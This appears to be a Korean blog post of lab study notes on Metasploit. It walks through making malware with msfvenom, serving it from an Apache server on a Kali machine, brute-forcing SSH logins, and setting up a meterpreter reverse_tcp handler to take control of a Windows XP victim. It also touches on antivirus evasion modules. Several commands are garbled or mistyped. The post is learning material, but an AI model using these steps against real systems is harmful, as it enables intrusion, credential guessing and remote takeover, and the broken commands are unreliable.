블로그의 모든 내용은 학습 목적으로만 사용하세요.
불법적인 행위에 대한 모든 책임은 당사자에 있습니다.
kali (23.1) - 공격자
c&c - 배포 서버 / 원격 조정 서버
kali -> MSFvenom = 좀비 pc 감염 프로그램 생성 - 악성코드
MSF : Handler : Meterpreter - 콘솔
--> 배포서버가 필요함 (kali 자체적으로 사용)
systemctl start apache2
cat > vulu.exe
192.168.0.218/vulu.exe 접속 시
피해자가 브라우저에 경로를 입력 시 악성코드가 다운로드 된다.
악성코드 작성
--> msfvenom 이용해서 생성
--> 직접 코드를 작성
목표 - 상대방의 shell 획득 == 루트킷, 백도어, 좀비 pc : 시스템 쉘에 직접적으로 접근
JSP/ PHP / ASP : 웹 서버를 기반으로 쉘을 획득 - 웹쉘
exploit
msf(venom = 독액(exploit)) 접근, 권한획득 등의 공격코드 전체를 exploit 이라고 함
서버(원격제어 대상) - 클라이언트(원격제어 하는 애) : 클라이언트가 서버를 원격 제어한다.
피해자 - 서버
공격자 - 클라이언트 --> 좀비 pc : Reverse_TCP (서버(피해자)가 클라이언트(공격자)에 접속함)
피해자는 공격자에게 원격 제어를 받는다.
테스트 - NetCat - server : nc 192.168.0.@ 4444 (피해자)
client : nc -l 4444
악성코드 생성 - venom 생성 / 자신의 ip와 port 번호 필요 --> 피해자에게 알려줘야 접속이 가능
피해자에게 전달할 정보 - Payload
악성코드 = 취약점 코드(exploit code) + payload
msfvenom = MSF안에 있는 원격제어 공격 코드만 추출되어 있다.
명령어 : msfconsole
2332 exploit - 취약점을 이용해 프레임워크가 임의의 코드를 실행할 수 있게 해준다.
공격자에 의해 노출된 취약점을 이용할 수 있는 코드 (CVE)
1219 auxiliary - exploit으로 분류하기 애매한 모듈, 페이로드, 타겟이 없는 스캔, DOS 등
스캐너 포함
1382 payloads - exploit이 성공한 후 타겟 머신에 실행할 코드
exploit을 로딩 후 사용 - 공격을 하기 위한 대상, 포트, 부가옵션
취약점을 통해 목표 시스템에서 실행할 shell 코드등을 의미
46 encoders - 공격 / 정보 전달과정에서 문자열 전환
11 nops - 실제로 레지스터 상태나 프로세스 플래그에 영향을 미치지 않으면서 실행을 계속하는 인스트럭션을 생성한다 (접속 유지)
9 evasion - 회피 모듈을 windows defender 바이러스 백신을 방지하는 windows 실행 파일 exe를 생성하는데 도움이 됨
메타즘, 셸 코드 암호화, 소스 코드 난독화 등 다양한 기술을 사용
msf6 > msfconsole의 shell
msf PostgreSQL을 사용해 db를 유지한다
msf db 초기화
msfdb init
경고가 떠도 쫄지마라 이거 맞음
msf 사용법 -- 취약점 스캐너 : CVE - 검색 키워드로 활용
ex) search DVE-2018-10933
--> msf에 내장되어 있는 기능만 서치 가능
--> CVE 코드를 이용해 msf에 있는지 확인할 수 있다.
특정 모듈 사용 - use
use auxiliary/scanner/ssh/libssh_auth_bypass >
options 입력시 옵션이 나옴
set RHOSTS 192.168.0.@ 입력시 로컬 호스트에 입력한 아이피가 기입됨 (피해자)
run 입력 시 공격 실행
session을 획득했다면 성공
공격 성공 시나리오
auxiliary/scanner/ssh/ssh_login --> 공격모듈
id 파일 pw 파일을 사전에 준비해둔다 --> 딕셔너리 어택
cat > id.txt
admin
root
geum
msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS
set id PASS_FILE /root/pw.txt
set pw /
공격법 : reverse_tcp
exploit --> 운영체제 --> service --> 공격방식 선정
(win 32)
reverse_tcp이기 때문에 payload에 localhost, local port정보가 필요하다.
set LHOSTS kali
set LHOSTS 192.168.0.218
kali는 클라이언트로써 미터프리터를 사용한 상태에서 대기상태를 만들면 된다.
피해자(서버)에게 전달할 악성코드를 작성 --> msfvenom
f = 파일형식 exe
-o = 옵션
바탕화면에 저장
kali
meterpreter 접근 : handler
역할 : Web 서버를 이용한 악성코드 배포 서버 역할 -> 끝남
C&C 서버의 역할 수행 (클라이언트 역할) --> 세팅
선택된 핸들러 - exploit/multi/handler
use exploit/multi/handler
페이로드 설정 : set LHOST 192.168.0.203 (피해자 xp의 ip)
어떤 공격을 통해 C&C 서버로 접속했는지 알려준다.
set payload windows/meterpreter/reverse_tcp
대기 모드 시작
run -j -z
대기 상태 확인
netstat -nlp | grep LISTEN
클라이언트가 대기상태일 때
'해킹기법' 카테고리의 다른 글
Cookie Poisoning (0) | 2023.10.11 |
---|---|
DRDOS(분산 반사 서비스 거부 공격) (0) | 2023.10.11 |
주요정보통신기반시설 가이드라인 (0) | 2023.07.31 |
LAND Attack, SYN Flooding, Ping Of Death 실습 (0) | 2023.07.27 |
Nessus (0) | 2023.07.26 |